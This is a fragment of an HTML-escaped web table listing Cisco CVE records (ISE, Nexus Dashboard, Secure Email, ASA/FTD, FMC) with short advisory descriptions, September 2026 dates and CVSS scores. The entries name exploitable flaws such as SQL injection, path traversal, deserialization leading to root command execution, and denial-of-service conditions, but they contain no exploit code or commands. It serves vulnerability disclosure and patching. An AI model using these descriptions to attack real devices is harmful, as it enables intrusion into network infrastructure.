&lt;td&gt;A vulnerability in Cisco ISE could allow an unauthenticated, remote attacker to conduct SQL injection attacks on an affected device. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to modify data in the underlying database.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20247&quot; target=&quot;_blank&quot;&gt;CVE-2026-20247&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in Cisco ISE could allow an authenticated, remote attacker to conduct SQL injection attacks on an affected device. To exploit this vulnerability, the attacker must have at least low-privileged administrative credentials. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to read or modify data in the underlying database.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20300&quot; target=&quot;_blank&quot;&gt;CVE-2026-20300&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the REST API of Cisco ISE could allow an authenticated, remote attacker to upload or copy arbitrary files on an affected device. This vulnerability is due to insufficient validation in file operations. An attacker could exploit this vulnerability by uploading a file with a crafted path. A successful exploit could allow the attacker to upload files to arbitrary locations and execute arbitrary commands as root on the affected device.&amp;amp;nbsp;To exploit this vulnerability, the attacker must have valid administrative credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76424&quot; target=&quot;_blank&quot;&gt;CVE-2026-76424&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the APIs of Cisco ISE could allow an authenticated, remote attacker to conduct SQL injection attacks against the backend database. This vulnerability is due to insufficient validation of certain parameters that are concatenated directly into an SQL query. An attacker could exploit this vulnerability by sending a crafted request that contains SQL statements to an affected endpoint. A successful exploit could allow the attacker to read arbitrary content from the SQL database and conduct server-side request forgery (SSRF) attacks. To exploit this vulnerability, the attacker must have valid administrative credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76425&quot; target=&quot;_blank&quot;&gt;CVE-2026-76425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Nexus Dashboard&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard&amp;amp;nbsp;engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20322 are related to improper access control issues that are grouped under the Common Weakness Enumeration (CWE) CWE-284.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20322&quot; target=&quot;_blank&quot;&gt;CVE-2026-20322&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Nexus Dashboard&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard&amp;amp;nbsp;engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20325 are related to improper neutralization of special elements used in a command issue that are grouped under the Common Weakness Enumeration (CWE) CWE-77.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20325&quot; target=&quot;_blank&quot;&gt;CVE-2026-20325&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Nexus Dashboard&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20326 are related to missing authentication for critical function issues that are grouped under the Common Weakness Enumeration (CWE) CWE-306.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20326&quot; target=&quot;_blank&quot;&gt;CVE-2026-20326&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Nexus Dashboard&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20360 are related to information exposure and insecure handling issues that are grouped under the Common Weakness Enumeration (CWE) CWE-200.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20360&quot; target=&quot;_blank&quot;&gt;CVE-2026-20360&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Nexus Dashboard&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20361 are related to SQL injection issues that are grouped under the Common Weakness Enumeration (CWE) CWE-89.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20361&quot; target=&quot;_blank&quot;&gt;CVE-2026-20361&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Nexus Dashboard&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76409 are related to improper limitation of a pathname issues that are grouped under the Common Weakness Enumeration (CWE) CWE-22.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76409&quot; target=&quot;_blank&quot;&gt;CVE-2026-76409&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Email&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20353 are related to issues with improper control of a resource through its lifetime that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-664.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20353&quot; target=&quot;_blank&quot;&gt;CVE-2026-20353&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Email&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76440 are related to path traversal issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-23.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76440&quot; target=&quot;_blank&quot;&gt;CVE-2026-76440&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Email&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76443 are related to issues with improper neutralization that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-707.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76443&quot; target=&quot;_blank&quot;&gt;CVE-2026-76443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Email&lt;/td&gt;
&lt;td&gt;A vulnerability in the email parsing of Cisco AsyncOS Software for Cisco Secure Email Gateway could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on the underlying operating system. This vulnerability is due to insufficient validation in the email parsing logic. An attacker could exploit this vulnerability by sending a crafted email message that contains malicious SQL statements through an affected device. A successful exploit could allow the attacker to execute arbitrary SQL statements, leading to command execution with root privileges on the underlying operating system.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76461&quot; target=&quot;_blank&quot;&gt;CVE-2026-76461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Email&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76442 are related to issues with improper validation of specified quantity in input that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-1284.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76442&quot; target=&quot;_blank&quot;&gt;CVE-2026-76442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Email and Web Manager&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76441 are related to issues with improper access control that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-284.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76441&quot; target=&quot;_blank&quot;&gt;CVE-2026-76441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. &amp;amp;nbsp; The vulnerabilities tracked by CVE-2026-20329 are related to issues concerning improper handling of exceptional conditions that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-703.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20329&quot; target=&quot;_blank&quot;&gt;CVE-2026-20329&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. &amp;amp;nbsp; The vulnerabilities tracked by CVE-2026-20330 are related to improper neutralization issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-707.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20330&quot; target=&quot;_blank&quot;&gt;CVE-2026-20330&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. &amp;amp;nbsp; The vulnerabilities tracked by CVE-2026-20331 are related to the failure of protection mechanisms issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-693.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20331&quot; target=&quot;_blank&quot;&gt;CVE-2026-20331&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. &amp;amp;nbsp; The vulnerabilities tracked by CVE-2026-20332 are related to improper access control issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-284.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20332&quot; target=&quot;_blank&quot;&gt;CVE-2026-20332&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the system rate-limiting process for syslog message 419002 of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause high CPU utilization on an affected device, resulting in a denial of service (DoS) condition. This vulnerability is due to improper rate limiting for syslog message 419002. An attacker could exploit this vulnerability by sending a flood of TCP synchronization (SYN) packets to an affected device. A successful exploit could allow the attacker to cause high CPU utilization, resulting in performance degradation.&amp;amp;nbsp;&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20154&quot; target=&quot;_blank&quot;&gt;CVE-2026-20154&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the certification authentication feature of Internet Key Exchange version 2 (IKEv2)&amp;amp;nbsp;for Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly. This vulnerability is due to a logic error during the certificate authentication phase of the IKEv2 connection setup. An attacker could exploit this vulnerability by attempting to establish an IKEv2 VPN connection with a crafted certificate. A successful exploit could allow the attacker to cause the IKEv2 process to crash, causing a denial of service (DoS) condition.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20249&quot; target=&quot;_blank&quot;&gt;CVE-2026-20249&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;A vulnerability in Datagram TLS (DTLS) message handling of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software for Cisco Secure Firewall 3100 Series and 4200 Series devices could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to improper resource management when processing certain DTLS messages. An attacker could exploit this vulnerability by sending a crafted stream of DTLS traffic to an affected device. A successful exploit could allow the attacker to cause the device to reload, resulting in a DoS condition.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20250&quot; target=&quot;_blank&quot;&gt;CVE-2026-20250&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20333 are related to incorrect comparison conditions that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-697.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20333&quot; target=&quot;_blank&quot;&gt;CVE-2026-20333&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20334 are related to issues concerning improper adherence to coding standards that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-710.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20334&quot; target=&quot;_blank&quot;&gt;CVE-2026-20334&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20335 are related to incorrect calculation issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-682.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20335&quot; target=&quot;_blank&quot;&gt;CVE-2026-20335&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20336 are related to issues concerning improper control of a resource through its lifetime that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-664.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20336&quot; target=&quot;_blank&quot;&gt;CVE-2026-20336&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the EIGRP implementation in Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, adjacent attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition. This vulnerability is due to improper resource management when handling EIGRP update messages. An attacker could exploit this vulnerability by sending crafted EIGRP updates at a high rate to an affected device. A successful exploit could allow the attacker to trigger a memory leak that will eventually cause the affected device to reload unexpectedly.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20222&quot; target=&quot;_blank&quot;&gt;CVE-2026-20222&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Management Center (FMC)&lt;/td&gt;
&lt;td&gt;A vulnerability in the External Database Access feature of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to execute arbitrary commands as&amp;amp;nbsp;root on an affected device. This vulnerability is due to insecure deserialization of a user-supplied Java byte stream from a host that is configured in the external database access list. An attacker could exploit this vulnerability by sending a crafted, serialized Java byte stream to a specific TCP port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the device and elevate privileges to root. Notes: This vulnerability can be exploited only by an attacker who has control of a host in the external database access list. If the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20242&quot; target=&quot;_blank&quot;&gt;CVE-2026-20242&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Management Center (FMC)&lt;/td&gt;
&lt;td&gt;A vulnerability in the sftunnel inter-device communication protocol of Cisco Secure Firewall Management Center (FMC) Software could allow an authenticated, remote attacker to execute arbitrary commands as root. This vulnerability exists because a registered sftunnel peer has incorrect permissions to write an arbitrary file to any location on the device. An attacker could exploit this vulnerability by hijacking the sftunnel communication connection or being a valid registered sftunnel peer and sending an sftunnel command to write a malicious file to the disk of an affected device. A successful exploit could allow the attacker to write a file to the device that is executed with root privileges. To exploit this vulnerability, the attacker must have valid user credentials on the affected device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20324&quot; target=&quot;_blank&quot;&gt;CVE-2026-20324&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Management Center (FMC)&lt;/td&gt;
&lt;td&gt;A vulnerability in the sftunnel inter-device communication protocol of Cisco Secure FMC Software could allow an authenticated, remote attacker to obtain&amp;amp;nbsp;root privileges. This vulnerability is due to unsecured deserialization of untrusted data over the sftunnel management connection. An attacker could exploit this vulnerability by sending crafted sftunnel remote procedure calls (RPCs). A successful exploit could allow the attacker to gain root privileges on a device that is running Cisco Secure FMC Software and its high-availability peer. To exploit this vulnerability, the attacker must have valid administrative credentials on a managed Cisco FTD device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20341&quot; target=&quot;_blank&quot;&gt;CVE-2026-20341&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Management Center (FMC)&lt;/td&gt;
&lt;td&gt;A vulnerability in the internal configuration of the Apache JServ Protocol (AJP)&amp;amp;nbsp;connector for Cisco Secure FMC Software could allow an unauthenticated, remote attacker to impersonate a peer device. This vulnerability is due to incorrect initialization of encryption parameters for the AJP connector at boot time. An attacker could exploit this vulnerability by sending crafted packets to the AJP connector. A&amp;amp;nbsp;successful exploit could allow the attacker to execute commands as root and&amp;amp;nbsp;gain full control over the FMC REST APIs on the affected device. Note: This vulnerability can be exploited only if the valid sftunnel connection between Cisco Secure FMC Software and Cisco Secure FTD Software is down.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76420&quot; target=&quot;_blank&quot;&gt;CVE-2026-76420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Management Center (FMC)&lt;/td&gt;
&lt;td&gt;A vulnerability in the sftunnel inter-device communication protocol of Cisco Secure FMC Software and Cisco Secure FTD Software could allow an unauthenticated, remote attacker to exhaust the available memory of an affected device. This vulnerability is due to improper management of memory resources during sftunnel TLS connection setup. An attacker could exploit this vulnerability by sending crafted sftunnel TLS frames to an affected device&amp;amp;nbsp;during the connection setup. A successful exploit could allow the attacker to exhaust the available memory on the affected device, which could result in a DoS condition.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20295&quot; target=&quot;_blank&quot;&gt;CVE-2026-20295&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Management Center (FMC)&lt;/td&gt;
